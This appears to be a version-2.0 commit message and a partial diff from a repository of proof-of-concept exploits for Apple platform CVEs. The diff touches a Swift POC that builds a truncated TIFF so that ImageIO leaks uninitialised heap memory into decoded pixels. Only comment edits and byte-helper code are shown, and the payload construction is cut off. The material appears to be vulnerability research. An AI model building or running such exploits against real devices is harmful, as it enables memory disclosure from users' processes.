v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112632/CVE-2026-112632.swift

@@ -1,20 +1,8 @@
 // iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
-// 原语: 信息泄露 · 进程内 · tier 2
-// Primitive: info leak · in-process · tier 2
-//
-// [zh] TIFF 截断条带 → 未初始化堆进像素
-// TIFFReadEncodedStrip 的返回值未被检查。读取失败时，未初始化的 malloc 条带缓冲被散写进输出图像，故解码所得像素即为进程堆中的残留内容。
-//
-// [en] TIFF truncated strip → uninitialised heap into pixels
-// The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd
-// strip buffer is scattered into the output image, so the decoded pixels are whatever was left on
-// the process heap.
-// ── 判别 / oracle ──
-// 判别方法：对同一文件连续解码三次并比对输出指纹。若条带区域每次不同，即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。
-
+// TIFF truncated strip → uninitialised heap into pixels
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -35,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
+// ── seed construction (from Cinder27 Sources: TIFFPayload) ──
 enum TIFFPayload {
     struct Entry {
         let tag: UInt16